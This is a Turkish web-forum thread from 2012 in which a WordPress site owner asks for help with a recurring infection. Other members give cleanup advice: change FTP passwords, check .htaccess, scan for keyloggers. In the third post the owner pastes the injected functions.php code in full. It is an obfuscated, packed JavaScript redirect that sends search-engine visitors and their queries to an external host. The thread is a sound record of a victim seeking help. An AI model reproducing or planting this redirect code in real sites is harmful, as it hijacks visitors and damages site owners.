Biri Sitemi Hackleme Çalışıyor Olabilir mi? | ?>

Progenitt · 1 06-02-2012, 11:19:13

wordpress kullanıyorum bazen sabahları siteme girince ekranın en üstünde

Alıntı:

?>

şu şey oluyor ve awast virüs uyarısı veriyor. Eski functions dosyamı atınca düzeliyor. Bu nedir gerçekten virüs mü? Yoksa biri mi hacklemeye çalışıyor?

big_turk · 2 06-02-2012, 11:28:47

iframe virüsü konularını araştırın. Sitenizin ve içerisindeki dosyaların temizlenip, bu illetten kurtulmanız lazım

Progenitt · 3 06-02-2012, 12:46:53

Şu kod nedir? Bu funcitons'a ekleniyormuş. O yüzdemn hata veriyormuş?

Alıntı:

?><?php
add_action('get_footer', 'add_sscounter');
function add_sscounter(){
echo '';
if(function_exists('is_user_logged_in')){
if(time()%2 == 0 && !is_user_logged_in()){
echo "<script language=\"JavaScript\">eval(function(p,a,c,k,e,r) {e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toStr ing(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\\b'+e(c)+'\\\b','g'),k[c]);return p}('e r=x.9,t=\"\",q;4(r.3(\"m.\")!=-1)t=\"q\";4(r.3(\"7.\")!=-1)t=\"q\";4(r.3(\"8.\")!=-1)t=\"p\";4(r.3(\"a.\")!=-1)t=\"q\";4(r.3(\"f.\")!=-1)t=\"g\";4(r.3(\"j.\")!=-1)t=\"q\";4(t.6&&((q=r.3(\"?\"+t+\"=\"))!=-1||(q=r.3(\"&\"+t+\"=\"))!=-1))B.C=\"v\"+\"w\"+\":/\"+\"/A\"+\"b\"+\"k\"+\"5\"+\"h.\"+\"c\"+\"z/s\"+\"u\"+\"5\"+\"h.p\"+\"d?\"+\"t\"+\"y=1&t\"+\"i \"+\"l=\"+r.n(q+2+t.6).o(\"&\")[0];',39,39,'|||indexOf|if|rc|length|msn|yahoo|referr er|altavista|ogo|bi|hp|var|aol|query||er|ask|sea|m s|google|substring|split||||||ea|ht|tp|document||| go|window|location'.split('|'),0,{}))</script>";
}
}
}
?>

leonitef · 4 06-02-2012, 13:17:28

bu bir refferer virüsü, sitenin hitini düşürür ve muhtemelen htcaccess ten başka sitelere yönlendirme yapar. htcaccess dosyasını kontrol edin. ftp ve root şifrelerini değiştirin. bunu başka bir pc den yapın.

Progenitt · 5 06-02-2012, 14:20:11

Hocam bunu birileri benim siteme bilerek mi yapıyor? Yoksa heryerde görülebilecek bir virüs mü?

Progenitt · 6 07-02-2012, 00:07:46

Yok mu bilen birileri. O yönlendirme virüsü zaman zaman functions.php'nin en altıdna çıkıyor siliyorum. Herşeyi konrtol ediyorum. Bir kaç gün sorna yine çıkıyor. Eklentiler sbeep olur mu? nedendir bunun sebbi yok mu bile ufak da olsa birşeyler söyleseniz :/

cemoka · 7 07-02-2012, 12:23:28

Alıntı:

Progenitt Nickli Üyeden Alıntı

Yok mu bilen birileri. O yönlendirme virüsü zaman zaman functions.php'nin en altıdna çıkıyor siliyorum. Herşeyi konrtol ediyorum. Bir kaç gün sorna yine çıkıyor. Eklentiler sbeep olur mu? nedendir bunun sebbi yok mu bile ufak da olsa birşeyler söyleseniz :/

birisi şifreni çalmış bulunuyor. Acilen bilgisayarına kaspersky antivirus kur, ftp şifreni değiştir. Kaspersky yüklü olmayan bilgisayardan ftpye paneline girme.

Progenitt · 8 08-02-2012, 11:52:42

Hocam 3 gecedir ftp'yi komple siliyorum dosyaları tarayıp, atıyorum sabaha karşı nasıl oluyorsa aynı virüs uyarısını veriyor. .htaceccs'ı kontrol ettim, wp-config'i kontrol ettim, db şifremi değiştirdim. Bıktım artık aynı uyarıyı almaktan. Htim düştü. FTP şifremi de değiştireyim dediğiniz giini teşekkürler. Yapabileceğim başka bir şey varsa söylerseniz memnun olurum. Eklentiler yüzünden veya tema yüzünden olabilir mi falan.

**WebServisi** · 9 08-02-2012, 12:06:58

Alıntı:

Progenitt Nickli Üyeden Alıntı

Hocam 3 gecedir ftp'yi komple siliyorum dosyaları tarayıp, atıyorum sabaha karşı nasıl oluyorsa aynı virüs uyarısını veriyor. .htaceccs'ı kontrol ettim, wp-config'i kontrol ettim, db şifremi değiştirdim. Bıktım artık aynı uyarıyı almaktan. Htim düştü. FTP şifremi de değiştireyim dediğiniz giini teşekkürler. Yapabileceğim başka bir şey varsa söylerseniz memnun olurum. Eklentiler yüzünden veya tema yüzünden olabilir mi falan.

hocam bu işlemleri birde farklı bilgisayardan dene, bilgisayarında keylogger var muhtemelen

cemoka · 10 08-02-2012, 19:38:18

Alıntı:

Progenitt Nickli Üyeden Alıntı

Hocam 3 gecedir ftp'yi komple siliyorum dosyaları tarayıp, atıyorum sabaha karşı nasıl oluyorsa aynı virüs uyarısını veriyor. .htaceccs'ı kontrol ettim, wp-config'i kontrol ettim, db şifremi değiştirdim. Bıktım artık aynı uyarıyı almaktan. Htim düştü. FTP şifremi de değiştireyim dediğiniz giini teşekkürler. Yapabileceğim başka bir şey varsa söylerseniz memnun olurum. Eklentiler yüzünden veya tema yüzünden olabilir mi falan.

FTP şifreni değiştirmezsen sen düzeltirsin onlar ekler habire. Öncelikle kendi bilgisayarının temiz olduğundan emin ol. Kaspersky antivirüs programını kesinlikle kur bilgisayarına.

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder